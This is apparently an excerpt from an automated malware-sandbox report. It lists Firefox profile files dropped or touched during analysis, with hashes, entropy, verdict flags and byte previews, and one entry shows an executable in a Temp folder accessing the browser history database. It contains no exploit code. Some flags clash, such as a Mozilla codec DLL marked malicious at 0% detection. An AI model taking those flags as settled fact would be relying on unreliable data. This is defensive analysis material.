Size (bytes):	453023
Entropy (8bit):	7.997718157581587
Encrypted:	true
SSDEEP:	12288:tESTeqTI2r4ZbCgUKWKNeRcPMb6qlV7hVZe3:tEsed2Xh9/bdzZe3
MD5:	85430BAED3398695717B0263807CF97C
SHA1:	FFFBEE923CEA216F50FCE5D54219A188A5100F41
SHA-256:	A9F4281F82B3579581C389E8583DC9F477C7FD0E20C9DFC91A2E611E21E3407E
SHA-512:	06511F1F6C6D44D076B3C593528C26A602348D9C41689DBF5FF716B671C3CA5756B12CB2E5869F836DEDCE27B1A5CFE79B93C707FD01F8E84B620923BB61B5F1
Malicious:	false
Reputation:	unknown
Preview:	PK.........bN...R..........gmpopenh264.dll..\|.E.0.=..I.....1....4f1q.`.........q.....'+....hm{.z..o_.{w........$..($A!...\|L...B&A2.s.{..Dd......c.U.U..9u.S...K.l`...../.d.-....\|.....&....9......wn..x......i.#O.+.Y.l......+....,3.3f..\..c.SSS,............N...GG...F.'.&.:'.K.Z&.>.@.g..M...M.`............ZR....^jg.G.Kb.o~va.....<Z..1.#.O.e.....D..X..i..$imBW..Q&.......P.....,M.,..:.c...-...\...........-i.K.I..4.a..6.....Ov=...W..F.CH.>...a.'.x...#@f...d..u.1....OV.1o}....g.5.._.3.J.Hi.Z.ipM....b.Z....%.G..F................/..3.q..J.....o...%.g.N..}..).3.N%.!..q........^I.m..~...6.#.~+.....A...I]r...x...<IYj....p0..`S.M@.E..f.=.;!.@.....E..E....... .0.n....Jd..d......uM.-.qI.lR..z..=}..r.D.XLZ....x.$..\|c.1.cUkM.&.Qn]..a]t.h...!.6 7..Jd.DvKJ"Wgd*%n...w...Jni.inmr.@M.$'Z.s....#)%..Rs..:.h....R....\..t.6..'.g.........Uj+F.cr:\|..!..K.W.Y...17......,....r.....>.N..3.R.Y.._\...Ir.DNJdM... .k...&V-....z.%...-...D..i..&...6....7.2T).>..0..%.&.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.92466904504806
Encrypted:	false
SSDEEP:	96:8S+OfJQPUFpOdwNIOdYVjvYcXaNLOnm8P:8S+OBIUjOdwiOdYVjjwLOm8P
MD5:	214EBD8187C143A2B68FF7051842C07C
SHA1:	2EAD8D7AFBF7D2F081913FF7900D4878DE9F84D5
SHA-256:	12C68FD680A588029641505445B77EBFE5ACE897596388ABEBAD29E3C06C91AD
SHA-512:	36312C58A8C6049D181A6244CD3FD1F3C9EECA93C0B2658AAB7D22D289CC1135E7AB3330E15264212A61F27ACDA186082AD19A5C556158A6F25B48B0B5E5571F
Malicious:	false
Reputation:	unknown
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"c5d95379-f4ee-4629-a507-6f15a0e93cd4","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-03T11:50:29.548Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.92466904504806
Encrypted:	false
SSDEEP:	96:8S+OfJQPUFpOdwNIOdYVjvYcXaNLOnm8P:8S+OBIUjOdwiOdYVjjwLOm8P
MD5:	214EBD8187C143A2B68FF7051842C07C
SHA1:	2EAD8D7AFBF7D2F081913FF7900D4878DE9F84D5
SHA-256:	12C68FD680A588029641505445B77EBFE5ACE897596388ABEBAD29E3C06C91AD
SHA-512:	36312C58A8C6049D181A6244CD3FD1F3C9EECA93C0B2658AAB7D22D289CC1135E7AB3330E15264212A61F27ACDA186082AD19A5C556158A6F25B48B0B5E5571F
Malicious:	false
Reputation:	unknown
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"c5d95379-f4ee-4629-a507-6f15a0e93cd4","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-03T11:50:29.548Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 23432 bytes
Category:	dropped
Size (bytes):	5312
Entropy (8bit):	6.615424734763731
Encrypted:	false
SSDEEP:	96:V2YbKsKNU2xWrp327tGmD4wBON6h6cHaJVJuZMd0JGkkrw2D:VTx2x2t0FDJ4NpwZMd0EJws
MD5:	1B9C8056D3619CE5A8C59B0C09873F17
SHA1:	1015C630E1937AA63F6AB31743782ECB5D78CCD8
SHA-256:	A6AE5DE0733FED050AB570AD9374FF4593D554F695B5AE4E2495871D171D34A3
SHA-512:	B1DC9CC675D5476C270A2D5B214D3DF2B3856576ED7EFE92D9A606C2D9D34E781018902AE75CE9C1E25007BB7F8D8F7B52997E6F05B845EF44BAF22F614FE899
Malicious:	false
Reputation:	unknown
Preview:	mozLz40..[....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 23432 bytes
Category:	dropped
Size (bytes):	5312
Entropy (8bit):	6.615424734763731
Encrypted:	false
SSDEEP:	96:V2YbKsKNU2xWrp327tGmD4wBON6h6cHaJVJuZMd0JGkkrw2D:VTx2x2t0FDJ4NpwZMd0EJws
MD5:	1B9C8056D3619CE5A8C59B0C09873F17
SHA1:	1015C630E1937AA63F6AB31743782ECB5D78CCD8
SHA-256:	A6AE5DE0733FED050AB570AD9374FF4593D554F695B5AE4E2495871D171D34A3
SHA-512:	B1DC9CC675D5476C270A2D5B214D3DF2B3856576ED7EFE92D9A606C2D9D34E781018902AE75CE9C1E25007BB7F8D8F7B52997E6F05B845EF44BAF22F614FE899
Malicious:	false
Reputation:	unknown
Preview:	mozLz40..[....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addons.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	3.91829583405449
Encrypted:	false
SSDEEP:	3:YWGifTJE6iHQ:YWGif9EE
MD5:	3088F0272D29FAA42ED452C5E8120B08
SHA1:	C72AA542EF60AFA3DF5DFE1F9FCC06C0B135BE23
SHA-256:	D587CEC944023447DC91BC5F71E2291711BA5ADD337464837909A26F34BC5A06
SHA-512:	B662414EDD6DEF8589304904263584847586ECCA0B0E6296FB3ADB2192D92FB48697C99BD27C4375D192150E3F99102702AF2391117FFF50A9763C74C193D798
Malicious:	false
Reputation:	unknown
Preview:	{"schema":6,"addons":[]}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addons.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	3.91829583405449
Encrypted:	false
SSDEEP:	3:YWGifTJE6iHQ:YWGif9EE
MD5:	3088F0272D29FAA42ED452C5E8120B08
SHA1:	C72AA542EF60AFA3DF5DFE1F9FCC06C0B135BE23
SHA-256:	D587CEC944023447DC91BC5F71E2291711BA5ADD337464837909A26F34BC5A06
SHA-512:	B662414EDD6DEF8589304904263584847586ECCA0B0E6296FB3ADB2192D92FB48697C99BD27C4375D192150E3F99102702AF2391117FFF50A9763C74C193D798
Malicious:	false
Reputation:	unknown
Preview:	{"schema":6,"addons":[]}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:	3:tZAQUsjcmktYWwktUp/UNE2aT/P4WX1rDZjrEFwHQ3ZjrEFwslyy:JWtYWXtUp8babN1rDVEFycVEFL
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Reputation:	unknown
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\store.json.mozlz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 56 bytes
Category:	dropped
Size (bytes):	66
Entropy (8bit):	4.837595020998689
Encrypted:	false
SSDEEP:	3:3fX/xH8IXl/I3v0lb7iioW:vXpH1RPXt
MD5:	A6338865EB252D0EF8FCF11FA9AF3F0D
SHA1:	CECDD4C4DCAE10C2FFC8EB938121B6231DE48CD3
SHA-256:	078648C042B9B08483CE246B7F01371072541A2E90D1BEB0C8009A6118CBD965
SHA-512:	D950227AC83F4E8246D73F9F35C19E88CE65D0CA5F1EF8CCBB02ED6EFC66B1B7E683E2BA0200279D7CA4B49831FD8C3CEB0584265B10ACCFF2611EC1CA8C0C6C
Malicious:	false
Reputation:	unknown
Preview:	mozLz40.8.....{"v":1,"crashes":{},"countsByDay....rruptDate":null}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\store.json.mozlz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 56 bytes
Category:	dropped
Size (bytes):	66
Entropy (8bit):	4.837595020998689
Encrypted:	false
SSDEEP:	3:3fX/xH8IXl/I3v0lb7iioW:vXpH1RPXt
MD5:	A6338865EB252D0EF8FCF11FA9AF3F0D
SHA1:	CECDD4C4DCAE10C2FFC8EB938121B6231DE48CD3
SHA-256:	078648C042B9B08483CE246B7F01371072541A2E90D1BEB0C8009A6118CBD965
SHA-512:	D950227AC83F4E8246D73F9F35C19E88CE65D0CA5F1EF8CCBB02ED6EFC66B1B7E683E2BA0200279D7CA4B49831FD8C3CEB0584265B10ACCFF2611EC1CA8C0C6C
Malicious:	false
Reputation:	unknown
Preview:	mozLz40.8.....{"v":1,"crashes":{},"countsByDay....rruptDate":null}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Reputation:	unknown
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Reputation:	unknown
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extensions.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36830
Entropy (8bit):	5.185924656884556
Encrypted:	false
SSDEEP:	768:wI43DvfWXf4E6C4p4EC4Y4QfEWvM4B4QS4z4444XQ4U:wUfdvk
MD5:	5656BA69BD2966108A461AAE35F60226
SHA1:	9C2E5AE52D82CEA43C4A5FFF205A7700CF54D61C
SHA-256:	587596712960B26EAC18CB354CCD633FFDB218E374A9D59EFEA843914D7AB299
SHA-512:	38F715AD9156558B5D57CA2E75FB0FFE0C5C6728BD94484B8F15E090120DDD02DCE42DBC9CC7143AD6552460A5F3A40E577FAF1D76D5D40B25CDBE636F250054
Malicious:	false
Reputation:	unknown
Preview:	{"schemaVersion":35,"addons":[{"id":"formautofill@mozilla.org","syncGUID":"{60024e8e-cfd0-41e5-965d-7128c7dcf0e8}","version":"1.0.1","type":"extension","loader":null,"updateURL":null,"installOrigins":null,"manifestVersion":2,"optionsURL":null,"optionsType":null,"optionsBrowserStyle":true,"aboutURL":null,"defaultLocale":{"name":"Form Autofill","creator":null,"developers":null,"translators":null,"contributors":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"embedderDisabled":false,"installDate":1695865283000,"updateDate":1695865283000,"applyBackgroundUpdates":1,"path":"C:\\Program Files\\Mozilla Firefox\\browser\\features\\formautofill@mozilla.org.xpi","skinnable":false,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"strictCompatibility":true,"locales":[],"targetApplications":[{"id":"toolkit@mozilla.org","minVersion":null,"maxVersion":null}],"targetPlatforms":[],"signedDate":null,"seen":true,"dependencies":[],"incognito":"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extensions.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36830
Entropy (8bit):	5.185924656884556
Encrypted:	false
SSDEEP:	768:wI43DvfWXf4E6C4p4EC4Y4QfEWvM4B4QS4z4444XQ4U:wUfdvk
MD5:	5656BA69BD2966108A461AAE35F60226
SHA1:	9C2E5AE52D82CEA43C4A5FFF205A7700CF54D61C
SHA-256:	587596712960B26EAC18CB354CCD633FFDB218E374A9D59EFEA843914D7AB299
SHA-512:	38F715AD9156558B5D57CA2E75FB0FFE0C5C6728BD94484B8F15E090120DDD02DCE42DBC9CC7143AD6552460A5F3A40E577FAF1D76D5D40B25CDBE636F250054
Malicious:	false
Reputation:	unknown
Preview:	{"schemaVersion":35,"addons":[{"id":"formautofill@mozilla.org","syncGUID":"{60024e8e-cfd0-41e5-965d-7128c7dcf0e8}","version":"1.0.1","type":"extension","loader":null,"updateURL":null,"installOrigins":null,"manifestVersion":2,"optionsURL":null,"optionsType":null,"optionsBrowserStyle":true,"aboutURL":null,"defaultLocale":{"name":"Form Autofill","creator":null,"developers":null,"translators":null,"contributors":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"embedderDisabled":false,"installDate":1695865283000,"updateDate":1695865283000,"applyBackgroundUpdates":1,"path":"C:\\Program Files\\Mozilla Firefox\\browser\\features\\formautofill@mozilla.org.xpi","skinnable":false,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"strictCompatibility":true,"locales":[],"targetApplications":[{"id":"toolkit@mozilla.org","minVersion":null,"maxVersion":null}],"targetPlatforms":[],"signedDate":null,"seen":true,"dependencies":[],"incognito":"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1021904
Entropy (8bit):	6.648417932394748
Encrypted:	false
SSDEEP:	12288:vYLdTfFKbNSjv92eFN+3wH+NYriA0Iq6lh6VawYIpAvwHN/Uf1h47HAfg1oet:vYLdTZ923NYrjwNpgwef1hzfg1x
MD5:	FE3355639648C417E8307C6D051E3E37
SHA1:	F54602D4B4778DA21BC97C7238FC66AA68C8EE34
SHA-256:	1ED7877024BE63A049DA98733FD282C16BD620530A4FB580DACEC3A78ACE914E
SHA-512:	8F4030BB2464B98ECCBEA6F06EB186D7216932702D94F6B84C56419E9CF65A18309711AB342D1513BF85AED402BC3535A70DB4395874828F0D35C278DD2EAC9C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......NH...)...)...)..eM...)..eM...)..eM..)..eM...)...)..i)..XA...)..XA..;)..XA...)...)..g)..cA...)..cA...)..Rich.)..........PE..d....z\.........." .....t................................................................`.........................................P...,...\|...(............P...H...z.................T...........................0...................p............................text...$s.......t.................. ..`.rdata...~...........x..............@..@.data....3..........................@....pdata...H...P...J..................@..@.rodata..............^..............@..@.reloc...............j..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1021904
Entropy (8bit):	6.648417932394748
Encrypted:	false
SSDEEP:	12288:vYLdTfFKbNSjv92eFN+3wH+NYriA0Iq6lh6VawYIpAvwHN/Uf1h47HAfg1oet:vYLdTZ923NYrjwNpgwef1hzfg1x
MD5:	FE3355639648C417E8307C6D051E3E37
SHA1:	F54602D4B4778DA21BC97C7238FC66AA68C8EE34
SHA-256:	1ED7877024BE63A049DA98733FD282C16BD620530A4FB580DACEC3A78ACE914E
SHA-512:	8F4030BB2464B98ECCBEA6F06EB186D7216932702D94F6B84C56419E9CF65A18309711AB342D1513BF85AED402BC3535A70DB4395874828F0D35C278DD2EAC9C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......NH...)...)...)..eM...)..eM...)..eM..)..eM...)...)..i)..XA...)..XA..;)..XA...)...)..g)..cA...)..cA...)..Rich.)..........PE..d....z\.........." .....t................................................................`.........................................P...,...\|...(............P...H...z.................T...........................0...................p............................text...$s.......t.................. ..`.rdata...~...........x..............@..@.data....3..........................@....pdata...H...P...J..................@..@.rodata..............^..............@..@.reloc...............j..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.info (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.968220104601006
Encrypted:	false
SSDEEP:	3:C3OuN9RAM7VDXcEzq+rEakOvTMBv+FdBAIABv+FEn:0BDUmHlvAWeWEn
MD5:	3D33CDC0B3D281E67DD52E14435DD04F
SHA1:	4DB88689282FD4F9E9E6AB95FCBB23DF6E6485DB
SHA-256:	F526E9F98841D987606EFEAFF7F3E017BA9FD516C4BE83890C7F9A093EA4C47B
SHA-512:	A4A96743332CC8EF0F86BC2E6122618BFC75ED46781DADBAC9E580CD73DF89E74738638A2CCCB4CAA4CBBF393D771D7F2C73F825737CDB247362450A0D4A4BC1
Malicious:	false
Reputation:	unknown
Preview:	Name: gmpopenh264.Description: GMP Plugin for OpenH264..Version: 1.8.1.APIs: encode-video[h264], decode-video[h264].

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.info.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.968220104601006
Encrypted:	false
SSDEEP:	3:C3OuN9RAM7VDXcEzq+rEakOvTMBv+FdBAIABv+FEn:0BDUmHlvAWeWEn
MD5:	3D33CDC0B3D281E67DD52E14435DD04F
SHA1:	4DB88689282FD4F9E9E6AB95FCBB23DF6E6485DB
SHA-256:	F526E9F98841D987606EFEAFF7F3E017BA9FD516C4BE83890C7F9A093EA4C47B
SHA-512:	A4A96743332CC8EF0F86BC2E6122618BFC75ED46781DADBAC9E580CD73DF89E74738638A2CCCB4CAA4CBBF393D771D7F2C73F825737CDB247362450A0D4A4BC1
Malicious:	false
Reputation:	unknown
Preview:	Name: gmpopenh264.Description: GMP Plugin for OpenH264..Version: 1.8.1.APIs: encode-video[h264], decode-video[h264].

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	13254
Entropy (8bit):	5.494699716644064
Encrypted:	false
SSDEEP:	192:XnaRtLYbBp6lhj4qyaaXl6KO4Nm55RfGNBw8dgSl:Ce7qzd4Wcwz0
MD5:	BCE7F1478809FDBC475A53A0316D4552
SHA1:	785A63C4DFEDB959EA83147F936DDDB776791169
SHA-256:	58D59CFB998C0BEEF8646E5A55BD2658C50E1C97383772BE2EC65164E10F11A7
SHA-512:	65837C078F1A74DAE0365960CB578BA6725466F89F1901F76BED56D88D99D2E786BB9342476D707D62DF05154B037BAD06B2153721C41C4631C5A60D9D974527
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1732378500);..user_pref("app.update.lastUpdateTime.background-update-timer", 1732378500);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1732378500);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 173237

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	13254
Entropy (8bit):	5.494699716644064
Encrypted:	false
SSDEEP:	192:XnaRtLYbBp6lhj4qyaaXl6KO4Nm55RfGNBw8dgSl:Ce7qzd4Wcwz0
